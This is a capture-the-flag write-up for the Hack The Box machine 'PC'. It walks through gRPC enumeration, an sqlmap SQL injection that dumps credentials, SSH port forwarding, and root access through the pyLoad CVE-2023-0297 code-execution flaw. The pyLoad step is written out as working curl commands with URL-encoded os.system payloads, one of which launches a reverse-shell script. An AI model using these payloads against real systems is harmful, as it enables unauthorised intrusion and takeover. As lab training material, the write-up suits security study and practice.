PC - Hack The Box
Synopsis
PC is easy machine from hackthebox. in the initial foothold we can interact on port 50051 which is gRPC. we can use grpcui to get a good interface. then followed by registering the user using the login method. after logging in using the credentials we created, we can use get-info by filling in our id and token. capture the request and name the file pc.req. drop it into sqlmap so it does the rest. to get root privileges, there is a cve on the pyload. The content-length header has a big impact on the application pyload.
Portscan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.92%I=7%D=6/30%Time=649F372B%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
GRPC
gRPC is a modern open source high performance Remote Procedure Call (RPC) framework that can run in any environment. i read about grpc running using port 50051, we can use grpcurl or grpcui for use interface instead.
tag -plaintext for connection without tls
grpcui -plaintext $target:50051
we can register in here then logged in use tester:tester in this case.
and we will retrieve token after that. use method get info
then capture request with burp save it and let the sqlmap do the rest.
my request like below:
POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:34455
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: Sct2TMwrU2mYbQq3e2N0xJhO2ICQTbFx-yVpYUj5gp4
X-Requested-With: XMLHttpRequest
Content-Length: 215
Origin: http://127.0.0.1:34455
DNT: 1
Connection: close
Referer: http://127.0.0.1:34455/
Cookie: lang=en-US; remember_token=2|3028567ce92aa92bc374275d05caa7fa36e51f796f6f1f12423cf0df18359f7ab8c1fc75fff9af9b83b2294f03368376bbf685eb3ff347c34c0d8db097b573dd; _grpcui_csrf_token=Sct2TMwrU2mYbQq3e2N0xJhO2ICQTbFx-yVpYUj5gp4
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
{"timeout_seconds":1,"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoidGVzdGVyIiwiZXhwIjoxNjg4MTY3OTcxfQ.qujbZNDV87BlQnPKOMKh1wJ74qe-CAIVL745OyKt9Zo"}],"data":[{"id":"212'"}]}
sqlmap command for dump databases
sqlmap -r pc.req --batch --dump
result from sqlmap
from now we can login via ssh for stable shell
execute command ss -tln
for check interface running on localhost
found port 8000 running in localhost, forwarding port 8000 using ssh with command:
ssh sau@$target -L 8000:127.0.0.1:8000
login with admin:admin
or sau:password
withouth any luck. pyLoad was developed to run on NAS, next-gen routers and headless home servers, whatever device able to connect to internet and supporting the Python programming language, so it’s available for all kind of operating systems and a wide range of hardware platforms; you can even install on your PC or Mac if you want and control it entirely by web in the same way.
execute this command below will make a file with name pwned in folder /tmp
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 184' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%74%6f%75%63%68%20%2f%74%6d%70%2f%70%77%6e%64%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
this exploit need url encoding, so im gonna make reverse shell on /tmp folder given name exploit contain:
so with that we can gain root access easily, im telling you if you struggle with this stuff. the key is on CONTENT-LENGTH header. Because payload that can be used is relative long or short. in this case my payload before url-encoding:
pyimport os;os.system("/bin/bash /tmp/exploit")
so im tried to increase the content-length into 200 and get the shell. if you dont increase the header, it wont work.
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:8000' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 200' \
--data-binary $'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%2f%62%69%6e%2f%62%61%73%68%20%2f%74%6d%70%2f%65%78%70%6c%6f%69%74%22%29;f=function%20f2(){};&passwords=aaaa' \
$'http://127.0.0.1:8000/flash/addcrypted2'
Refferencess
https://github.com/bAuh0lz/CVE-2023-0297_Pre-auth_RCE_in_pyLoad
https://pyload.net/
https://www.picussecurity.com/resource/blog/waf-bypass-using-json-based-sql-injection-attacks
https://claroty.com/team82/research/js-on-security-off-abusing-json-based-sql-to-bypass-waf
https://www.revshells.com/
https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/